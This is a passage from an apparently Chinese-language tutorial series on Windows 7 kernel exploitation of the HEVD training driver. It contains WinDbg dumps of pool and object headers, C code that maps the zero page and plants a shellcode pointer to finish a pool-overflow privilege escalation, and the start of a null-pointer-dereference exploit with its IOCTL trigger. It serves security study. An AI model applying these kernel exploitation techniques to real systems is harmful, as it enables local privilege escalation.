867c8008</span><br><span class="line">867c8f10  00000000 00000000 00000000 00000000</span><br><span class="line">867c8f20  00000000 00080001 00000000 00000000</span><br><span class="line">867c8f30  74040001 00000000 867c8f38 867c8f38</span><br><span class="line">2: kd&gt; dt nt!_POOL_HEADER 867c8ec0</span><br><span class="line">   +0x000 PreviousSize     : 0y001000000 (0x40)</span><br><span class="line">   +0x000 PoolIndex        : 0y0000000 (0)</span><br><span class="line">   +0x002 BlockSize        : 0y000001000 (0x8)</span><br><span class="line">   +0x002 PoolType         : 0y0000010 (0x2)</span><br><span class="line">   +0x000 Ulong1           : 0x4080040</span><br><span class="line">   +0x004 PoolTag          : 0xee657645</span><br><span class="line">   +0x004 AllocatorBackTraceIndex : 0x7645</span><br><span class="line">   +0x006 PoolTagHash      : 0xee65</span><br><span class="line">2: kd&gt; dt nt!_OBJECT_HEADER_QUOTA_INFO 867c8ec0+8</span><br><span class="line">   +0x000 PagedPoolCharge  : 0</span><br><span class="line">   +0x004 NonPagedPoolCharge : 0x40</span><br><span class="line">   +0x008 SecurityDescriptorCharge : 0</span><br><span class="line">   +0x00c SecurityDescriptorQuotaBlock : (null) </span><br><span class="line">2: kd&gt; dt nt!_OBJECT_HEADER 867c8ec0+18</span><br><span class="line">   +0x000 PointerCount     : 0n1</span><br><span class="line">   +0x004 HandleCount      : 0n1</span><br><span class="line">   +0x004 NextToFree       : 0x00000001 Void</span><br><span class="line">   +0x008 Lock             : _EX_PUSH_LOCK</span><br><span class="line">   +0x00c TypeIndex        : 0xc &apos;&apos;</span><br><span class="line">   +0x00d TraceFlags       : 0 &apos;&apos;</span><br><span class="line">   +0x00e InfoMask         : 0x8 &apos;&apos;</span><br><span class="line">   +0x00f Flags            : 0 &apos;&apos;</span><br><span class="line">   +0x010 ObjectCreateInfo : 0x88801040 _OBJECT_CREATE_INFORMATION</span><br><span class="line">   +0x010 QuotaBlockCharged : 0x88801040 Void</span><br><span class="line">   +0x014 SecurityDescriptor : (null) </span><br><span class="line">   +0x018 Body             : _QUAD</span><br></pre></td></tr></table></figure><p>你可能会疑惑<code>_OBJECT_HEADER</code>和<code>_OBJECT_HEADER_QUOTA_INFO</code>是怎么分析出来的，这里你需要了解 Windows 7 的对象结构不然可能听不懂图片下面的那几行字，最好是在NT4源码(private\ntos\inc\ob.h)中搜索查看这些结构，这里我放一张图片吧</p><p><img src="/2019/06/28/Windows-Kernel-Exploit/11.png" alt="1"></p><p>这里我简单说一下如何识别这两个结构的，根据下一块池的大小是 0x40 ，在<code>_OBJECT_HEADER_QUOTA_INFO</code>结构中<code>NonPagedPoolCharge</code>的偏移为0x004刚好为池的大小，所以这里确定为<code>_OBJECT_HEADER_QUOTA_INFO</code>结构，又根据<code>InfoMask</code>字段在<code>_OBJECT_HEADER</code>中的偏移，结合我们确定的<code>_OBJECT_HEADER_QUOTA_INFO</code>结构掩码为0x8可以确定这里就是我们的<code>InfoMask</code>，这样推出<code>_OBJECT_HEADER</code>的位置在+0x18处，其实我们需要修改的也就是<code>_OBJECT_HEADER</code>中的<code>TypeIndex</code>字段，这里是0xc，我们需要将它修改为0，我们看一下<code>_OBJECT_HEADER</code>的结构</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">3: kd&gt; dt _OBJECT_HEADER</span><br><span class="line">nt!_OBJECT_HEADER</span><br><span class="line">   +0x000 PointerCount     : Int4B</span><br><span class="line">   +0x004 HandleCount      : Int4B</span><br><span class="line">   +0x004 NextToFree       : Ptr32 Void</span><br><span class="line">   +0x008 Lock             : _EX_PUSH_LOCK</span><br><span class="line">   +0x00c TypeIndex        : UChar</span><br><span class="line">   +0x00d TraceFlags       : UChar</span><br><span class="line">   +0x00e InfoMask         : UChar</span><br><span class="line">   +0x00f Flags            : UChar</span><br><span class="line">   +0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION</span><br><span class="line">   +0x010 QuotaBlockCharged : Ptr32 Void</span><br><span class="line">   +0x014 SecurityDescriptor : Ptr32 Void</span><br><span class="line">   +0x018 Body             : _QUAD</span><br></pre></td></tr></table></figure><p>Windows 7 之后 <code>_OBJECT_HEADER</code> 及其之前的一些结构发生了变化，Windows 7之前0×008处的指向<code>_OBJECT_TYPE</code>的指针已经没有了,  取而代之的是在 0x00c 处的类型索引值。但Windows7中添加了一个函数<code>ObGetObjectType</code>，返回<code>Object_type</code>对象指针，也就是说根据索引值在<code>ObTypeIndexTable</code>数组中找到对应的<code>ObjectType</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">3: kd&gt; u ObGetObjectType</span><br><span class="line">nt!ObGetObjectType:</span><br><span class="line">8405a7bd 8bff            mov     edi,edi</span><br><span class="line">8405a7bf 55              push    ebp</span><br><span class="line">8405a7c0 8bec            mov     ebp,esp</span><br><span class="line">8405a7c2 8b4508          mov     eax,dword ptr [ebp+8]</span><br><span class="line">8405a7c5 0fb640f4        movzx   eax,byte ptr [eax-0Ch]</span><br><span class="line">8405a7c9 8b04850059f483  mov     eax,dword ptr nt!ObTypeIndexTable (83f45900)[eax*4]</span><br><span class="line">8405a7d0 5d              pop     ebp</span><br><span class="line">8405a7d1 c20400          ret     4</span><br></pre></td></tr></table></figure><p>我们查看一下<code>ObTypeIndexTable</code>数组，根据<code>TypeIndex</code>的大小我们可以确定偏移 0xc 处的 0x865f0598 即是我们 Event 对象的<code>OBJECT_TYPE</code>，我们这里主要关注的是<code>TypeInfo</code>中的<code>CloseProcedure</code>字段</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; dd nt!ObTypeIndexTable</span><br><span class="line">83f45900  00000000 bad0b0b0 86544768 865446a0</span><br><span class="line">83f45910  865445d8 865cd040 865cdf00 865cde38</span><br><span class="line">83f45920  865cdd70 865cdca8 865cdbe0 865cd528</span><br><span class="line">83f45930  865f0598 865f2418 865f2350 865f44c8</span><br><span class="line">83f45940  865f4400 865f4338 865f0040 865f0230</span><br><span class="line">83f45950  865f0168 865f19b8 865f18f0 865f1828</span><br><span class="line">83f45960  865f1760 865f1698 865f15d0 865f1508</span><br><span class="line">83f45970  865f1440 865ef6f0 865ef628 865ef560</span><br><span class="line">1: kd&gt; dt nt!_OBJECT_TYPE 865f0598</span><br><span class="line">   +0x000 TypeList         : _LIST_ENTRY [ 0x865f0598 - 0x865f0598 ]</span><br><span class="line">   +0x008 Name             : _UNICODE_STRING &quot;Event&quot;</span><br><span class="line">   +0x010 DefaultObject    : (null) </span><br><span class="line">   +0x014 Index            : 0xc &apos;&apos;</span><br><span class="line">   +0x018 TotalNumberOfObjects : 0x1050</span><br><span class="line">   +0x01c TotalNumberOfHandles : 0x10ac</span><br><span class="line">   +0x020 HighWaterNumberOfObjects : 0x1e8a</span><br><span class="line">   +0x024 HighWaterNumberOfHandles : 0x1ee6</span><br><span class="line">   +0x028 TypeInfo         : _OBJECT_TYPE_INITIALIZER</span><br><span class="line">   +0x078 TypeLock         : _EX_PUSH_LOCK</span><br><span class="line">   +0x07c Key              : 0x6e657645</span><br><span class="line">   +0x080 CallbackList     : _LIST_ENTRY [ 0x865f0618 - 0x865f0618 ]</span><br><span class="line">1: kd&gt; dx -id 0,0,ffffffff889681e0 -r1 (*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0xffffffff865f05c0))</span><br><span class="line">(*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0xffffffff865f05c0))                 [Type: _OBJECT_TYPE_INITIALIZER]</span><br><span class="line">    [+0x000] Length           : 0x50 [Type: unsigned short]</span><br><span class="line">    [+0x002] ObjectTypeFlags  : 0x0 [Type: unsigned char]</span><br><span class="line">    [+0x002 ( 0: 0)] CaseInsensitive  : 0x0 [Type: unsigned char]</span><br><span class="line">    [+0x002 ( 1: 1)] UnnamedObjectsOnly : 0x0 [Type: unsigned char]</span><br><span class="line">    [+0x002 ( 2: 2)] UseDefaultObject : 0x0 [Type: unsigned char]</span><br><span class="line">    [+0x002 ( 3: 3)] SecurityRequired : 0x0 [Type: unsigned char]</span><br><span class="line">    [+0x002 ( 4: 4)] MaintainHandleCount : 0x0 [Type: unsigned char]</span><br><span class="line">    [+0x002 ( 5: 5)] MaintainTypeList : 0x0 [Type: unsigned char]</span><br><span class="line">    [+0x002 ( 6: 6)] SupportsObjectCallbacks : 0x0 [Type: unsigned char]</span><br><span class="line">    [+0x004] ObjectTypeCode   : 0x2 [Type: unsigned long]</span><br><span class="line">    [+0x008] InvalidAttributes : 0x100 [Type: unsigned long]</span><br><span class="line">    [+0x00c] GenericMapping   [Type: _GENERIC_MAPPING]</span><br><span class="line">    [+0x01c] ValidAccessMask  : 0x1f0003 [Type: unsigned long]</span><br><span class="line">    [+0x020] RetainAccess     : 0x0 [Type: unsigned long]</span><br><span class="line">    [+0x024] PoolType         : NonPagedPool (0) [Type: _POOL_TYPE]</span><br><span class="line">    [+0x028] DefaultPagedPoolCharge : 0x0 [Type: unsigned long]</span><br><span class="line">    [+0x02c] DefaultNonPagedPoolCharge : 0x40 [Type: unsigned long]</span><br><span class="line">    [+0x030] DumpProcedure    : 0x0 [Type: void (*)(void *,_OBJECT_DUMP_CONTROL *)]</span><br><span class="line">    [+0x034] OpenProcedure    : 0x0 [Type: long (*)(_OB_OPEN_REASON,char,_EPROCESS *,void *,unsigned long *,unsigned long)]</span><br><span class="line">    [+0x038] CloseProcedure   : 0x0 [Type: void (*)(_EPROCESS *,void *,unsigned long,unsigned long)]</span><br><span class="line">    [+0x03c] DeleteProcedure  : 0x0 [Type: void (*)(void *)]</span><br><span class="line">    [+0x040] ParseProcedure   : 0x0 [Type: long (*)(void *,void *,_ACCESS_STATE *,char,unsigned long,_UNICODE_STRING *,_UNICODE_STRING *,void *,_SECURITY_QUALITY_OF_SERVICE *,void * *)]</span><br><span class="line">    [+0x044] SecurityProcedure : 0x840675b6 [Type: long (*)(void *,_SECURITY_OPERATION_CODE,unsigned long *,void *,unsigned long *,void * *,_POOL_TYPE,_GENERIC_MAPPING *,char)]</span><br><span class="line">    [+0x048] QueryNameProcedure : 0x0 [Type: long (*)(void *,unsigned char,_OBJECT_NAME_INFORMATION *,unsigned long,unsigned long *,char)]</span><br><span class="line">    [+0x04c] OkayToCloseProcedure : 0x0 [Type: unsigned char (*)(_EPROCESS *,void *,void *,char)]</span><br></pre></td></tr></table></figure><p>我们的最后目的是把<code>CloseProcedure</code>字段覆盖为指向shellcode的指针，因为在最后会调用这些函数，把这里覆盖自然也就可以执行我们的shellcode，我们希望这里能够将Event这个结构放在我们能够操控的位置，在 Windows 7 中我们知道是可以在用户模式下控制0页内存的，所以我们希望这里能够指到0页内存，所以我们想把<code>TypeIndex</code>从0xc修改为0x0，在 Windows 7 下<code>ObTypeIndexTable</code>的前八个字节始终为0，所以可以在这里进行构造，需要注意的是，这里我们需要申请0页内存，我们传入的第二个参数不能是0，如果是0系统就会随机给我们分配一块内存，我们希望的是分配0页，如果传入1的话由于内存对齐就可以申请到0页内存，然后就可以放入我们shellcode的位置了</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">PVOIDZero_addr = (PVOID)<span class="number">1</span>;</span><br><span class="line">SIZE_TRegionSize = <span class="number">0x1000</span>;</span><br><span class="line"></span><br><span class="line">*(FARPROC*)&amp; NtAllocateVirtualMemory = GetProcAddress(</span><br><span class="line">GetModuleHandleW(<span class="string">L"ntdll"</span>),</span><br><span class="line"><span class="string">"NtAllocateVirtualMemory"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (NtAllocateVirtualMemory == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Failed to get function NtAllocateVirtualMemory!!!\n"</span>);</span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Started to alloc zero page...\n"</span>);</span><br><span class="line"><span class="keyword">if</span> (!NT_SUCCESS(NtAllocateVirtualMemory(</span><br><span class="line">INVALID_HANDLE_VALUE,</span><br><span class="line">&amp;Zero_addr,</span><br><span class="line"><span class="number">0</span>,</span><br><span class="line">&amp;RegionSize,</span><br><span class="line">MEM_COMMIT | MEM_RESERVE,</span><br><span class="line">PAGE_READWRITE)) || Zero_addr != <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Failed to alloc zero page!\n"</span>);</span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Success to alloc zero page...\n"</span>);</span><br><span class="line">*(DWORD*)(<span class="number">0x60</span>) = (DWORD)&amp; ShellCode;</span><br></pre></td></tr></table></figure><p>最后我们整合一下代码就可以提权了，总结一下步骤</p><ul><li>初始化句柄等结构</li><li>构造池头结构</li><li>申请0页内存并放入shellcode位置</li><li>堆喷射构造间隙</li><li>调用<code>TriggerPoolOverflow</code>函数</li><li>关闭句柄</li><li>调用cmd提权</li></ul><p>最后提权效果如下，详细代码参考<a href="https://github.com/ThunderJie/Windows-Kernel-Exploit/blob/master/HEVD/PoolOverflow/PoolOverflow/PoolOverflow.c" target="_blank" rel="noopener">这里</a></p><p><img src="/2019/06/28/Windows-Kernel-Exploit/12.gif" alt="test"></p><h1 id="0x07：NullPointer-Dereference"><a href="#0x07：NullPointer-Dereference" class="headerlink" title="0x07：NullPointer-Dereference"></a>0x07：NullPointer-Dereference</h1><p>这是 Windows kernel exploit 系列的第五部分，前一篇我们讲了池溢出漏洞，这一篇我们讲空指针解引用，这篇和上篇比起来就很简单了，话不多说，进入正题，看此文章之前你需要有以下准备：</p><ul><li>Windows 7 x86 sp1虚拟机</li><li>配置好windbg等调试工具，建议配合VirtualKD使用</li><li>HEVD+OSR Loader配合构造漏洞环境</li></ul><h2 id="0x01：漏洞原理-4"><a href="#0x01：漏洞原理-4" class="headerlink" title="0x01：漏洞原理"></a>0x01：漏洞原理</h2><h3 id="空指针解引用"><a href="#空指针解引用" class="headerlink" title="空指针解引用"></a>空指针解引用</h3><p>我们还是先用IDA分析<code>HEVD.sys</code>，大概看一下函数的流程，函数首先验证了我们传入<code>UserBuffer</code>是否在用户模式下，然后申请了一块池，打印了池的一些属性之后判断<code>UserValue</code>是否等于一个数值，相等则打印一些<code>NullPointerDereference</code>的属性，不相等则将它释放并且置为NULL，但是下面没有做任何检验就直接引用了<code>NullPointerDereference-&gt;Callback();</code>这显然是不行，的当一个指针的值为空时，却被调用指向某一块内存地址时，就产生了空指针引用漏洞</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">stdcall <span class="title">TriggerNullPointerDereference</span><span class="params">(<span class="keyword">void</span> *UserBuffer)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  PNULL_POINTER_DEREFERENCE NullPointerDereference; <span class="comment">// esi</span></span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> UserValue; <span class="comment">// [esp+3Ch] [ebp+8h]</span></span><br><span class="line"></span><br><span class="line">  ProbeForRead(UserBuffer, <span class="number">8u</span>, <span class="number">4u</span>);</span><br><span class="line">  NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(<span class="number">0</span>, <span class="number">8u</span>, <span class="number">0x6B636148</span>u);</span><br><span class="line">  <span class="keyword">if</span> ( NullPointerDereference )</span><br><span class="line">  &#123;</span><br><span class="line">    DbgPrint(<span class="string">"[+] Pool Tag: %s\n"</span>, <span class="string">"'kcaH'"</span>);</span><br><span class="line">    DbgPrint(<span class="string">"[+] Pool Type: %s\n"</span>, <span class="string">"NonPagedPool"</span>);</span><br><span class="line">    DbgPrint(<span class="string">"[+] Pool Size: 0x%X\n"</span>, <span class="number">8</span>);</span><br><span class="line">    DbgPrint(<span class="string">"[+] Pool Chunk: 0x%p\n"</span>, NullPointerDereference);</span><br><span class="line">    UserValue = *(_DWORD *)UserBuffer;</span><br><span class="line">    DbgPrint(<span class="string">"[+] UserValue: 0x%p\n"</span>, UserValue);</span><br><span class="line">    DbgPrint(<span class="string">"[+] NullPointerDereference: 0x%p\n"</span>, NullPointerDereference);</span><br><span class="line">    <span class="keyword">if</span> ( UserValue == <span class="number">0xBAD0B0B0</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      NullPointerDereference-&gt;Value = <span class="number">0xBAD0B0B0</span>;</span><br><span class="line">      NullPointerDereference-&gt;Callback = (<span class="keyword">void</span> (__stdcall *)())NullPointerDereferenceObjectCallback;</span><br><span class="line">      DbgPrint(<span class="string">"[+] NullPointerDereference-&gt;Value: 0x%p\n"</span>, NullPointerDereference-&gt;Value);</span><br><span class="line">      DbgPrint(<span class="string">"[+] NullPointerDereference-&gt;Callback: 0x%p\n"</span>, NullPointerDereference-&gt;Callback);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      DbgPrint(<span class="string">"[+] Freeing NullPointerDereference Object\n"</span>);</span><br><span class="line">      DbgPrint(<span class="string">"[+] Pool Tag: %s\n"</span>, <span class="string">"'kcaH'"</span>);</span><br><span class="line">      DbgPrint(<span class="string">"[+] Pool Chunk: 0x%p\n"</span>, NullPointerDereference);</span><br><span class="line">      ExFreePoolWithTag(NullPointerDereference, <span class="number">0x6B636148</span>u);</span><br><span class="line">      NullPointerDereference = <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    DbgPrint(<span class="string">"[+] Triggering Null Pointer Dereference\n"</span>);</span><br><span class="line">    NullPointerDereference-&gt;Callback();</span><br><span class="line">    result = <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    DbgPrint(<span class="string">"[-] Unable to allocate Pool chunk\n"</span>);</span><br><span class="line">    result = <span class="number">0xC0000017</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们从源码<code>NullPointerDereference.c</code>查看一下防护措施，安全的操作对<code>NullPointerDereference</code>是否为NULL进行了检验，其实我们可以联想到上一篇的内容，既然是要引用0页内存，那都不用我们自己写触发了，直接构造好0页内存调用这个问题函数就行了</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> SECURE</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// Secure Note: This is secure because the developer is checking if</span></span><br><span class="line">        <span class="comment">// 'NullPointerDereference' is not NULL before calling the callback function</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (NullPointerDereference)</span><br><span class="line">        &#123;</span><br><span class="line">            NullPointerDereference-&gt;Callback();</span><br><span class="line">        &#125;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">else</span></span></span><br><span class="line">        DbgPrint(<span class="string">"[+] Triggering Null Pointer Dereference\n"</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability</span></span><br><span class="line">        <span class="comment">// because the developer is not validating if 'NullPointerDereference' is NULL</span></span><br><span class="line">        <span class="comment">// before calling the callback function</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">        NullPointerDereference-&gt;Callback();</span><br></pre></td></tr></table></figure><h2 id="0x02：漏洞利用-4"><a href="#0x02：漏洞利用-4" class="headerlink" title="0x02：漏洞利用"></a>0x02：漏洞利用</h2><h3 id="控制码-1"><a href="#控制码-1" class="headerlink" title="控制码"></a>控制码</h3><p>我们还是从控制码入手，在<code>HackSysExtremeVulnerableDriver.h</code>中定位到相应的定义</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> HEVD_IOCTL_NULL_POINTER_DEREFERENCE                      IOCTL(0x80A)</span></span><br></pre></td></tr></table></figure><p>然后我们用python计算一下控制码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>hex((<span class="number">0x00000022</span> &lt;&lt; <span class="number">16</span>) | (<span class="number">0x00000000</span> &lt;&lt; <span class="number">14</span>) | (<span class="number">0x80A</span> &lt;&lt; <span class="number">2</span>) | <span class="number">0x00000003</span>)</span><br><span class="line"><span class="string">'0x22202b'</span></span><br></pre></td></tr></table></figure><p>我们验证一下我们的代码，我们先传入 buf = 0xBAD0B0B0 观察，构造如下代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;Windows.h&gt;</span></span></span><br><span class="line"></span><br><span class="line">HANDLE hDevice = <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line"><span class="function">BOOL <span class="title">init</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="comment">// Get HANDLE</span></span><br><span class="line">hDevice = CreateFileA(<span class="string">"\\\\.\\HackSysExtremeVulnerableDriver"</span>,</span><br><span class="line">GENERIC_READ | GENERIC_WRITE,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line">OPEN_EXISTING,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line"><span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Start to get HANDLE...\n"</span>);</span><br><span class="line"><span class="keyword">if</span> (hDevice == INVALID_HANDLE_VALUE || hDevice == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Success to get HANDLE!\n"</span>);</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">VOID <span class="title">Trigger_shellcode</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">DWORD bReturn = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">char</span> buf[<span class="number">4</span>] = &#123; <span class="number">0</span> &#125;;</span><br><span class="line">*(PDWORD32)(buf) = <span class="number">0xBAD0B0B0</span>;</span><br><span class="line"></span><br><span class="line">DeviceIoControl(hDevice, <span class="number">0x22202b</span>, buf, <span class="number">4</span>, <span class="literal">NULL</span>, <span class="number">0</span>, &amp;bReturn, <span class="literal">NULL</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (init() == FALSE)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Failed to get HANDLE!!!\n"</span>);</span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">Trigger_shellcode();</span><br><span class="line"><span class="comment">//__debugbreak();</span></span><br><span class="line"></span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如我们所愿，这里因为 UserValue = 0xBAD0B0B0 所以打印了<code>NullPointerDereference</code>的一些信息</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">****** HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE ******</span><br><span class="line">[+] Pool Tag: &apos;kcaH&apos;</span><br><span class="line">[+] Pool Type: NonPagedPool</span><br><span class="line">[+] Pool Size: 0x8</span><br><span class="line">[+] Pool Chunk: 0x877B5E68</span><br><span 